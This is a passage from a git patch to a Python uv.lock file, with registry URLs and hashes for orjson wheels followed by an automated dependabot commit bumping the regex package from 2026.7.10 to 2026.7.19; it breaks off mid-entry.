"https://files.pythonhosted.org/packages/e8/f8/0b1bd3e8f2efcdd376af5c8cfd79eaf13f018080c0089c80ebd724e3c7fb/orjson-3.11.9-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d8ea516b3726d190e1b4297e6f4e7a8650347ae053868a18163b4dd3641d1fff", size = 145994, upload-time = "2026-05-06T15:10:05.083Z" }, + { url = "https://files.pythonhosted.org/packages/f3/59/dab79f61044c529d2c81aecdc589b1f833a1c8dec11ba3b1c2498a02ca7e/orjson-3.11.9-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:380cdce7ba24989af81d0a7013d0aaec5d0e2a21734c0e2681b1bc4f141957fe", size = 132744, upload-time = "2026-05-06T15:10:06.853Z" }, + { url = "https://files.pythonhosted.org/packages/0e/a4/82b7a2fe5d8a67a59ed831b24d59a3d46ea7d207b66e1602d376541d94a6/orjson-3.11.9-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:be4fa4f0af7fa18951f7ab3fc2148e223af211bf03f59e1c6034ec3f97f21d61", size = 134014, upload-time = "2026-05-06T15:10:08.213Z" }, + { url = "https://files.pythonhosted.org/packages/50/c7/375e83a76851b73b2e39f3bcf0e5a19e2b89bad13e5bca97d0b293d27f24/orjson-3.11.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a8f5f8bc7ce7d59f08d9f99fa510c06496164a24cb5f3d34537dbd9ca30132e2", size = 141509, upload-time = "2026-05-06T15:10:09.595Z" }, + { url = "https://files.pythonhosted.org/packages/7f/7c/49d5d82a3d3097f641f094f552131f1e2723b0b8cb0fa2874ab65ecfffa6/orjson-3.11.9-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:4d7fde5501b944f83b3e665e1b31343ff6e154b15560a16b7130ea1e594a4206", size = 415127, upload-time = "2026-05-06T15:10:11.049Z" }, + { url = "https://files.pythonhosted.org/packages/3a/dc/7446c538590d55f455647e5f3c61fc33f7108714e7afcffa6a2a033f8350/orjson-3.11.9-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:cde1a448023ba7d5bb4c01c5afb48894380b5e4956e0627266526587ef4e535f", size = 148025, upload-time = "2026-05-06T15:10:12.842Z" }, + { url = "https://files.pythonhosted.org/packages/df/e5/4d2d8af06f788329b4f78f8cc3679bb395392fcaa1e4d8d3c33e85308fa4/orjson-3.11.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:71e63adb0e1f1ed5d9e168f50a91ceb93ae6420731d222dc7da5c69409aa47aa", size = 136943, upload-time = "2026-05-06T15:10:14.405Z" }, + { url = "https://files.pythonhosted.org/packages/06/69/850264ccf6d80f6b174620d30a87f65c9b1490aba33fe6b62798e618cad3/orjson-3.11.9-cp312-cp312-win32.whl", hash = "sha256:2d057a602cdd19a0ad680417527c45b6961a095081c0f46fe0e03e304aac6470", size = 131606, upload-time = "2026-05-06T15:10:15.791Z" }, + { url = "https://files.pythonhosted.org/packages/b9/d5/973a43fc9c55e20f2051e9830997649f669be0cb3ca52192087c0143f118/orjson-3.11.9-cp312-cp312-win_amd64.whl", hash = "sha256:59e403b1cc5a676da8eaf31f6254801b7341b3e29efa85f92b48d272637e77be", size = 127101, upload-time = "2026-05-06T15:10:17.129Z" }, + { url = "https://files.pythonhosted.org/packages/fe/ae/495470f0e4a18f73fa10b7f6b84b464ec4cc5291c4e0c7c2a6c400bef006/orjson-3.11.9-cp312-cp312-win_arm64.whl", hash = "sha256:9af678d6488357948f1f84c6cd1c1d397c014e1ae2f98ae082a44eb48f602624", size = 126736, upload-time = "2026-05-06T15:10:18.645Z" }, + { url = "https://files.pythonhosted.org/packages/32/33/93fcc25907235c344ae73122f8a4e01d2d393ef062b4af7d2e2487a32c37/orjson-3.11.9-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:4bab1b2d6141fe7b32ae71dac905666ece4f94936efbfb13d55bb7739a3a6021", size = 228458, upload-time = "2026-05-06T15:10:20.079Z" }, + { url = "https://files.pythonhosted.org/packages/8f/27/b1e6dadb3c080313c03fdd8067b85e6a0460c7d8d6a1c3984ef77b904e4d/orjson-3.11.9-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:844417969855fc7a41be124aafe83dc424592a7f77cd4501900c67307122b92c", size = 128368, upload-time = "2026-05-06T15:10:21.549Z" }, + { url = "https://files.pythonhosted.org/packages/21/0f/c9ede0bf052f6b4051e64a7d4fa91b725cccf8321a6a786e86eb03519f00/orjson-3.11.9-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffe02797b5e9f3a9d8292ddcd289b474ad13e81ad83cd1891a240811f1d2cb81", size = 132070, upload-time = "2026-05-06T15:10:23.371Z" }, + { url = "https://files.pythonhosted.org/packages/fd/26/d398e28048dc18205bbe812f2c88cb9b40313db2470778e25964796458fe/orjson-3.11.9-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e4eed3b200023042814d2fc8a5d2e880f13b52e1ed2485e83da4f3962f7dc1a", size = 127892, upload-time = "2026-05-06T15:10:24.714Z" }, + { url = "https://files.pythonhosted.org/packages/66/60/52b0054c4c700d5aa7fc5b7ca96917400d8f061307778578e67a10e25852/orjson-3.11.9-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aff7da9952a5ad1cef8e68017724d96c7b9a66e99e91d6252e1b133d67a7b10", size = 135217, upload-time = "2026-05-06T15:10:26.084Z" }, + { url = "https://files.pythonhosted.org/packages/d5/97/1e3dc2b2a28b7b2528f403d2fc1d79ec5f39af3bc143ab65d3ec26426385/orjson-3.11.9-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4d4e98d6f3b8afed8bc8cd9718ec0cdf46661826beefb53fe8eafb37f2bf0362", size = 145980, upload-time = "2026-05-06T15:10:28.062Z" }, + { url = "https://files.pythonhosted.org/packages/fc/39/31fbfe7850f2de32dee7e7e5c09f26d403ab01e440ac96001c6b01ad3c99/orjson-3.11.9-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3a81d52442a7c99b3662333235b3adf96a1715864658b35bb797212be7bddb97", size = 132738, upload-time = "2026-05-06T15:10:29.727Z" }, + { url = "https://files.pythonhosted.org/packages/a1/08/dca0082dd2a194acb93e5457e73455388e2e2ca464a2672449a9ddbb679d/orjson-3.11.9-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e39364e726a8fff737309aff059ff67d8a8c8d5b677be7bb49a8b3e84b7e218", size = 134033, upload-time = "2026-05-06T15:10:31.152Z" }, + { url = "https://files.pythonhosted.org/packages/11/d4/5bdb0626801230139987385554c5d4c42255218ac906525bf4347f22cd95/orjson-3.11.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4fd66214623f1b17501df9f0543bef0b833979ab5b6ded1e1d123222866aa8c9", size = 141492, upload-time = "2026-05-06T15:10:32.641Z" }, + { url = "https://files.pythonhosted.org/packages/fa/88/a21fb53b3ede6703aede6dce4710ed4111e5b201cfa6bbff5e544f9d47d7/orjson-3.11.9-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:8ecc30f10465fa1e0ce13fd01d9e22c316e5053a719a8d915d4545a09a5ff677", size = 415087, upload-time = "2026-05-06T15:10:34.438Z" }, + { url = "https://files.pythonhosted.org/packages/3d/57/1b30daf70f0d8180e9a73cefbfbdd99e4bf19eb020466502b01fba7e0e50/orjson-3.11.9-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:97db4c94a7db398a5bd636273324f0b3fd58b350bbbac8bb380ceb825a9b40f4", size = 148031, upload-time = "2026-05-06T15:10:36.358Z" }, + { url = "https://files.pythonhosted.org/packages/04/83/45fbb6d962e260807f99441db9613cee868ceda4baceda59b3720a563f97/orjson-3.11.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9f78cf8fec5bd627f4082b8dfeac7871b43d7f3274904492a43dab39f18a19a0", size = 136915, upload-time = "2026-05-06T15:10:38.013Z" }, + { url = "https://files.pythonhosted.org/packages/5f/cc/2d10025f9056d376e4127ec05a5808b218d46f035fdc08178a5411b34250/orjson-3.11.9-cp313-cp313-win32.whl", hash = "sha256:d4087e5c0209a0a8efe4de3303c234b9c44d1174161dcd851e8eea07c7560b32", size = 131613, upload-time = "2026-05-06T15:10:39.569Z" }, + { url = "https://files.pythonhosted.org/packages/67/bd/2775ff28bfe883b9aa1ff348300542eb2ef1ee18d8ae0e3a49846817a865/orjson-3.11.9-cp313-cp313-win_amd64.whl", hash = "sha256:051b102c93b4f634e89f3866b07b9a9a98915ada541f4ec30f177067b2694979", size = 127086, upload-time = "2026-05-06T15:10:41.262Z" }, + { url = "https://files.pythonhosted.org/packages/91/2b/d26799e580939e32a7da9a39531bc9e58e15ca32ffaa6a8cb3e9bb0d22cd/orjson-3.11.9-cp313-cp313-win_arm64.whl", hash = "sha256:cce9127885941bd28f080cecf1f1d288336b7e0d812c345b08be88b572796254", size = 126696, upload-time = "2026-05-06T15:10:42.651Z" }, + { url = "https://files.pythonhosted.org/packages/8e/eb/5da01e356015aee6ecfa1187ced87aef51364e306f5e695dd52719bf0e78/orjson-3.11.9-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:b6ef1979adc4bc243523f1a2ba91418030a8e29b0a99cbe7e0e2d6807d4dce6e", size = 228465, upload-time = "2026-05-06T15:10:44.097Z" }, + { url = "https://files.pythonhosted.org/packages/64/62/3e0e0c14c957133bcd855395c62b55ed4e3b0af23ffea11b032cb1dcbdb1/orjson-3.11.9-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:f36b7f32c7c0db4a719f1fc5824db4a9c6f8bd1a354debb91faf26ebf3a4c71e", size = 128364, upload-time = "2026-05-06T15:10:45.839Z" }, + { url = "https://files.pythonhosted.org/packages/5a/5a/07d8aa117211a8ed7630bda80c8c0b14d04e0f8dcf99bcf49656e4a710eb/orjson-3.11.9-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08f4d8ebb44925c794e535b2bebc507cebf32209df81de22ae285fb0d8d66de0", size = 132063, upload-time = "2026-05-06T15:10:47.267Z" }, + { url = "https://files.pythonhosted.org/packages/d6/ec/4acaf21483e18aa945be74a474c74b434f284b549f275a0a39b9f98956e9/orjson-3.11.9-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6cc7923789694fd58f001cbcac7e47abc13af4d560ebbfcf3b41a8b1a0748124", size = 122356, upload-time = "2026-05-06T15:10:48.765Z" }, + { url = "https://files.pythonhosted.org/packages/13/d8/5f0555e7638801323b7a75850f92e7dfa891bc84fe27a1ba4449170d1200/orjson-3.11.9-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea5c46eb2d3af39e806b986f4b09d5c2706a1f5afde3cbf7544ce6616127173c", size = 129592, upload-time = "2026-05-06T15:10:50.13Z" }, + { url = "https://files.pythonhosted.org/packages/b6/30/ed9860412a3603ceb3c5955bfd72d28b9d0e7ba6ed81add14f83d7114236/orjson-3.11.9-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f5d89a2ed90731df3be64bab0aa44f78bff39fdc9d71c291f4a8023aa46425b7", size = 140491, upload-time = "2026-05-06T15:10:51.582Z" }, + { url = "https://files.pythonhosted.org/packages/d0/17/adc514dea7ac7c505527febf884934b815d34f0c7b8693c1a8b39c5c4a57/orjson-3.11.9-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:25e4aed0312d292c09f61af25bba34e0b2c88546041472b09088c39a4d828af1", size = 127309, upload-time = "2026-05-06T15:10:53.329Z" }, + { url = "https://files.pythonhosted.org/packages/76/3e/c0b690253f0b82d86e99949af13533363acfb5432ecb5d53dd5b3bce9c34/orjson-3.11.9-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaea64f3f467d22e70eeed68bdccb3bc4f83f650446c4a03c59f2cba28a108db", size = 134030, upload-time = "2026-05-06T15:10:54.988Z" }, + { url = "https://files.pythonhosted.org/packages/c1/7a/bc82a0bb25e9faaf92dc4d9ef002732efc09737706af83e346788641d4a7/orjson-3.11.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a028425d1b440c5d92a6be1e1a020739dfe67ea87d96c6dbe828c1b30041728b", size = 141482, upload-time = "2026-05-06T15:10:56.663Z" }, + { url = "https://files.pythonhosted.org/packages/01/55/e69188b939f77d5d32a9833745ace31ea5ccae3ab613a1ec185d3cd2c4fb/orjson-3.11.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5b192c6cf397e4455b11523c5cf2b18ed084c1bbd61b6c0926344d2129481972", size = 415178, upload-time = "2026-05-06T15:10:58.446Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1a/b8a5a7ac527e80b9cb11d51e3f6689b709279183264b9ec5c7bc680bb8b5/orjson-3.11.9-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ea407d4ccf5891d667d045fecae97a7a1e5e87b3b97f97ae1803c2e741130be0", size = 148089, upload-time = "2026-05-06T15:11:00.441Z" }, + { url = "https://files.pythonhosted.org/packages/97/4e/00503f64204bf859b37213a63927028f30fb6268cd8677fb0a5ad48155e1/orjson-3.11.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5f63aaf97afd9f6dec5b1a68e1b8da12bfccb4cb9a9a65c3e0b6c847849e7586", size = 136921, upload-time = "2026-05-06T15:11:02.176Z" }, + { url = "https://files.pythonhosted.org/packages/0d/ba/a23b82a0a8d0ed7bed4e5f5035aae751cad4ff6a1e8d2ecd14d8860f5929/orjson-3.11.9-cp314-cp314-win32.whl", hash = "sha256:e30ab17845bb9fa54ccf67fa4f9f5282652d54faa6d17452f47d0f369d038673", size = 131638, upload-time = "2026-05-06T15:11:03.696Z" }, + { url = "https://files.pythonhosted.org/packages/f3/c3/0c6798456bade745c75c452342dabacce5798196483e77e643be1f53877d/orjson-3.11.9-cp314-cp314-win_amd64.whl", hash = "sha256:32ef5f4283a3be81913947d19608eacb7c6608026851123790cd9cc8982af34b", size = 127078, upload-time = "2026-05-06T15:11:05.123Z" }, + { url = "https://files.pythonhosted.org/packages/16/21/5a3f1e8913103b703a436a5664238e5b965ec392b555fe68943ea3691e6b/orjson-3.11.9-cp314-cp314-win_arm64.whl", hash = "sha256:eebdbdeef0094e4f5aefa20dcd4eb2368ab5e7a3b4edea27f1e7b2892e009cf9", size = 126687, upload-time = "2026-05-06T15:11:06.602Z" }, ] [[package]] From 7275d4a90dfd3c3f0a56b97479bd008f2144d7bb Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 26 Jul 2026 04:44:38 +0000 Subject: [PATCH 013/256] Bump regex from 2026.7.10 to 2026.7.19 Bumps [regex](https://github.com/mrabarnett/mrab-regex) from 2026.7.10 to 2026.7.19. - [Changelog](https://github.com/mrabarnett/mrab-regex/blob/hg/changelog.txt) - [Commits](https://github.com/mrabarnett/mrab-regex/compare/2026.7.10...2026.7.19) --- updated-dependencies: - dependency-name: regex dependency-version: 2026.7.19 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- uv.lock | 234 ++++++++++++++++++++++++++++---------------------------- 1 file changed, 117 insertions(+), 117 deletions(-) diff --git a/uv.lock b/uv.lock index 28432bc670..b5dd69d10f 100644 --- a/uv.lock +++ b/uv.lock @@ -2725,123 +2725,123 @@ wheels = [ [[package]] name = "regex" -version = "2026.7.10" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/7b/37/451aaddbf50922f34d744ad5ca919ae1fcfac112123885d9728f52a484b3/regex-2026.7.10.tar.gz", hash = "sha256:1050fedf0a8a92e843971120c2f57c3a99bea86c0dfa1d63a9fac053fe54b135", size = 416282, upload-time = "2026-07-10T19:49:46.267Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/b3/69/62bb7d63f26698949c905cb7ebe29c7b0659e2a7f2a50c35cc29640b0852/regex-2026.7.10-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:799a369bdab91dcf0eb424ebd7aa9650897025ce22f729248d8f2c72002c4daa", size = 494652, upload-time = "2026-07-10T19:46:28.394Z" }, - { url = "https://files.pythonhosted.org/packages/3a/f2/eed2ce38cc38def9c366d060ec739ff5f235a33647ceb73ae6be37306d39/regex-2026.7.10-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f0192e5f1cfc70e3cb35347135dd02e7497b3e7d83e378aa226d8b3e53a93f19", size = 295920, upload-time = "2026-07-10T19:46:30.342Z" }, - { url = "https://files.pythonhosted.org/packages/36/57/4d724eeb1c440d71ccd6400d33b62b911bb62ca05385fe1961556e628319/regex-2026.7.10-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:221f2771cb780186b94bbf125a151bbeb242fa1a971da6ad59d7b0370f19de9a", size = 290696, upload-time = "2026-07-10T19:46:31.953Z" }, - { url = "https://files.pythonhosted.org/packages/c7/9d/76c6779e424c64740d2a564b7ecb389a62c77b6294127d34f52008c91ea7/regex-2026.7.10-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ab2fb1f7a2deb4ca3ddebbae6b93905d21480a3b4e11de28d79d9fb0d316fcf8", size = 784833, upload-time = "2026-07-10T19:46:33.145Z" }, - { url = "https://files.pythonhosted.org/packages/54/ec/f777841d88f0c9d46699daf16f86a8086e077e506603be212de2c4584f85/regex-2026.7.10-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2f98ef73a13791a387d5c841416ad7f52040ae5caf10bcf46fa12bd2b3d63745", size = 852182, upload-time = "2026-07-10T19:46:34.368Z" }, - { url = "https://files.pythonhosted.org/packages/d1/de/5ba208a0826117851f6c12af9ae7fae5838ccfde69b999b26c5fdc1cedc3/regex-2026.7.10-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:9a094ed44a22f9da497453137c3118b531fd783866ab524b0b0fc146e7395e1d", size = 899571, upload-time = "2026-07-10T19:46:35.564Z" }, - { url = "https://files.pythonhosted.org/packages/7f/46/602b7b81d26a53113d3cec6dd845fd664d7b854b0ea45245bfdd6b9dc9ef/regex-2026.7.10-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:53bbbd6c610489700f7110db1d85f3623924c3f7c760f987eca033867360788a", size = 794164, upload-time = "2026-07-10T19:46:36.972Z" }, - { url = "https://files.pythonhosted.org/packages/53/cc/c21ebc520c3e17d93e495eb2de2b1c5ae5f6780ccdb298b2d8ce1e940820/regex-2026.7.10-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:87b776cf2890e356e4ab104b9df846e169da3eb5b0f110975547091f4e51854e", size = 786304, upload-time = "2026-07-10T19:46:38.238Z" }, - { url = "https://files.pythonhosted.org/packages/65/d8/69ec8c062bbba8d4d153f9eb70ab43564f591035b81fc4ea7eb059fdf71c/regex-2026.7.10-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ab39d2c967aae3b48a412bff9cdbe7cd7559cd1e277599aceaeada7bc82b7200", size = 769958, upload-time = "2026-07-10T19:46:39.541Z" }, - { url = "https://files.pythonhosted.org/packages/af/82/c56db326ac5f852865bd78d49a275757cc367e8114b13bc1015ed2491db1/regex-2026.7.10-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b56416091bfd7a429f958f69aaf6823c517be9a49cb5bf1daa3767ce8bf8095e", size = 775056, upload-time = "2026-07-10T19:46:40.808Z" }, - { url = "https://files.pythonhosted.org/packages/af/2a/1ba62462f679eb598d7325ff20798a264ddb9aa34a3f5d2ac388d54c6e4b/regex-2026.7.10-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:617e8f10472e34a8477931f978ff3a88d46ae2ba0e41927e580b933361f60948", size = 848857, upload-time = "2026-07-10T19:46:42.02Z" }, - { url = "https://files.pythonhosted.org/packages/84/5b/37bf2e2fe810540ca90bbfe457a2f61088721c95d442eee8bb1257165ad7/regex-2026.7.10-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:31fa17378b29519bfd0a1b8ba4e9c10cf0baf1cf4099b39b0689429e7dc2c795", size = 757747, upload-time = "2026-07-10T19:46:43.282Z" }, - { url = "https://files.pythonhosted.org/packages/9a/c5/131dd41f73f766af6b08492073b5f28bc4f907b5571230c9f9e895e88302/regex-2026.7.10-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:5c363de7c0339d39341b6181839ed32509820b85ef506deafcf2e7e43baadab4", size = 837183, upload-time = "2026-07-10T19:46:44.91Z" }, - { url = "https://files.pythonhosted.org/packages/a5/ee/00b9332c3c5d7460639f2c10fdc7197a64de6eaafff69478ec3332815335/regex-2026.7.10-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:ed7c886a2fcbf14493ceaf9579394b33521730c161ebb8dad7db9c3e9fcab1a8", size = 782151, upload-time = "2026-07-10T19:46:46.385Z" }, - { url = "https://files.pythonhosted.org/packages/e5/a7/31ce26ec6465c12e7136ea9efcc716f5c55cac616f7958c33f0bf171781e/regex-2026.7.10-cp310-cp310-win32.whl", hash = "sha256:b04583e8867136ae66353fa274f45121ab3ec3166dc45aaff3655a5db90d9f0e", size = 266770, upload-time = "2026-07-10T19:46:47.608Z" }, - { url = "https://files.pythonhosted.org/packages/71/00/22a554bb83203eef88a40ec2fe7cf9a6e5df8765d57f7a96ebe1af5d60c3/regex-2026.7.10-cp310-cp310-win_amd64.whl", hash = "sha256:e21e888a6b471b2bb1cdd4247e8d86632672232f29be583e7eafaa5f4634d34c", size = 277941, upload-time = "2026-07-10T19:46:48.915Z" }, - { url = "https://files.pythonhosted.org/packages/76/46/596a7084918ddf18cea6fb0cc047af1f00cec8790962e8f2edee9b6ec749/regex-2026.7.10-cp310-cp310-win_arm64.whl", hash = "sha256:081acf191b4d614d573a56cab69f948b6864daa5e3cc69f209ee92e26e454c2f", size = 276923, upload-time = "2026-07-10T19:46:50.829Z" }, - { url = "https://files.pythonhosted.org/packages/3d/16/bfd13770be1acd1c05506b93fc6be15c759d6417595d1ba334d355efbf26/regex-2026.7.10-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:66d2c35587cd601c95965d5c0415058ba5cfd6ffbab7624ce198bd967102b341", size = 494639, upload-time = "2026-07-10T19:46:52.207Z" }, - { url = "https://files.pythonhosted.org/packages/e6/b4/0086215709f0f705661f13ba81516287538886ef0d589c545c12b0484669/regex-2026.7.10-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:28a0973eeffff4292f5a7ee498ab65d5e94ee8cc9cea364239251eb4a260a0f1", size = 295920, upload-time = "2026-07-10T19:46:53.63Z" }, - { url = "https://files.pythonhosted.org/packages/8e/9e/8e07d0eea46d2cf36bf4d3794634bb0a820f016d31bc349dfef008d96b02/regex-2026.7.10-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8331484450b3894298bef8abecce532171ff6ac60b71f999eed10f2c01941a8a", size = 290673, upload-time = "2026-07-10T19:46:54.863Z" }, - { url = "https://files.pythonhosted.org/packages/b7/56/d83c446de21c70ff49d2f1b2ff2196ac79a4ac6373d2cfe496011a250600/regex-2026.7.10-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0639b2488b775a0109f55a5a2172deebdedb4b6c5ab0d48c90b43cbf5de58d17", size = 792378, upload-time = "2026-07-10T19:46:56.116Z" }, - { url = "https://files.pythonhosted.org/packages/dc/0e/d265e0cc6da47aea97e90eb896be2d2e8f92d16add13bac04fa46a0fd972/regex-2026.7.10-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:be4223af640d0aa04c05db81d5d96ada3ead9c09187d892fd37f4f97829480be", size = 861790, upload-time = "2026-07-10T19:46:57.611Z" }, - { url = "https://files.pythonhosted.org/packages/b4/a5/62655f6208d1170a3e9188d6a45d4af0a5ae3b9da8b87d474818ac5ff016/regex-2026.7.10-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d3c75d57a00109255e60bc9c623b6ececaf7905eaab845c79f036670ed4750a2", size = 906530, upload-time = "2026-07-10T19:46:59.142Z" }, - { url = "https://files.pythonhosted.org/packages/86/b7/d65aa2e9ffb18677cd0afbcf5990da8519a4e50778deb1bca49f043c5174/regex-2026.7.10-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:724ee9379568658ec06362cf24325c5315cc5a67f61dfe585bfeff58300a355b", size = 799912, upload-time = "2026-07-10T19:47:00.534Z" }, - { url = "https://files.pythonhosted.org/packages/8f/19/3a5ce23ea2eb1fe36306aef49c79746ce297e4b434aeb981b525c661413a/regex-2026.7.10-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:732c19e5828eb287d01edb83b2eb87f283ba8e5fc3441c732709d3e8cbd14aaa", size = 773675, upload-time = "2026-07-10T19:47:01.999Z" }, - { url = "https://files.pythonhosted.org/packages/fe/76/3c0eaa426700dd2ba14f2335f2b700a4e1484202254192ae440b83b8352a/regex-2026.7.10-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:982d07727c809b42a3968785354f11c3728414e4e90af0754345b431b2c32561", size = 781711, upload-time = "2026-07-10T19:47:03.425Z" }, - { url = "https://files.pythonhosted.org/packages/a4/a8/a5a3fad84f9a7f897619f0f8e0a2c64946e9709044a186a8f869fb5c332f/regex-2026.7.10-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:4574feca202f8c470bf678aed8b5d89df04aaf8dc677f3b83d92825051301c0f", size = 854539, upload-time = "2026-07-10T19:47:04.999Z" }, - { url = "https://files.pythonhosted.org/packages/f8/c7/47e9b8c8ee77723b9eda74f517b6b25d2f555cf276c063a9eeea35bd86d5/regex-2026.7.10-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:80151ca5bfc6c4524186b3e08b499e97319b2001fc265ed2d4fc12c0d5692cdf", size = 763378, upload-time = "2026-07-10T19:47:06.845Z" }, - { url = "https://files.pythonhosted.org/packages/36/09/e27e42d9d42edf71205c7e6f5b2902bc874ea03c557c80da03b8ed16c9bf/regex-2026.7.10-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:bb52e10e453b5493afe1f7702a2973bc10f4dd8901c0f2ed869ffaa3f8319296", size = 844663, upload-time = "2026-07-10T19:47:08.923Z" }, - { url = "https://files.pythonhosted.org/packages/a1/b5/2423acb98362184ad9c8eebabafa15188d6a177daab919add8f2120fc6cd/regex-2026.7.10-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e37aba1994d73b4944053ab65a15f313bd5c28c885dd7f0d494a11749d89db6e", size = 789236, upload-time = "2026-07-10T19:47:10.303Z" }, - { url = "https://files.pythonhosted.org/packages/60/ed/b387e84c8a3d6aa115dfb56865437a3fbaf28f4a6fb3b76cc6cce38ced70/regex-2026.7.10-cp311-cp311-win32.whl", hash = "sha256:6cbedeb5112f59dbd169385459b9943310bdd241c6966c19c5f6e2295055c93a", size = 266774, upload-time = "2026-07-10T19:47:11.904Z" }, - { url = "https://files.pythonhosted.org/packages/c4/64/f30a163a65ed1f07ad12c53af00a6bd2a7251a5329fba5a08adc6f9e81a3/regex-2026.7.10-cp311-cp311-win_amd64.whl", hash = "sha256:b1963ec5ba4d52788fb0eac6aca6eb8040e8e318c7e47ebbdfc09440c802919c", size = 277959, upload-time = "2026-07-10T19:47:13.231Z" }, - { url = "https://files.pythonhosted.org/packages/2b/de/61c8174171134cebb834ca9f8fe2ff8f49d8a3dd43453b48b537d0fbb49b/regex-2026.7.10-cp311-cp311-win_arm64.whl", hash = "sha256:3750c42d47712e362158a04d0fd80131f73a55e8c715b2885442a0ff6f9fc3fc", size = 276918, upload-time = "2026-07-10T19:47:14.693Z" }, - { url = "https://files.pythonhosted.org/packages/b3/9c/2503d4ccf3452dc323f8baa3cf3ee10406037d52735c76cfced81423f183/regex-2026.7.10-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:7252b48b0c60100095088fbeb281fca9a4fcf678a4e04b1c520c3f8613c952c4", size = 497114, upload-time = "2026-07-10T19:47:16.22Z" }, - { url = "https://files.pythonhosted.org/packages/91/eb/04534f4263a4f658cd20a511e9d6124350044f2214eb24fee2db96acf318/regex-2026.7.10-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:da6ef4cb8d457aab0482b50120136ae94238aaa421863eaa7d599759742c72d6", size = 297422, upload-time = "2026-07-10T19:47:17.794Z" }, - { url = "https://files.pythonhosted.org/packages/ca/2d/35809de392ab66ba439b58c3187ae3b8b53c883233f284b59961e5725c99/regex-2026.7.10-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fe7ff456c22725c9d9017f7a2a7df2b51af6df77314176760b22e2d05278e181", size = 292110, upload-time = "2026-07-10T19:47:19.188Z" }, - { url = 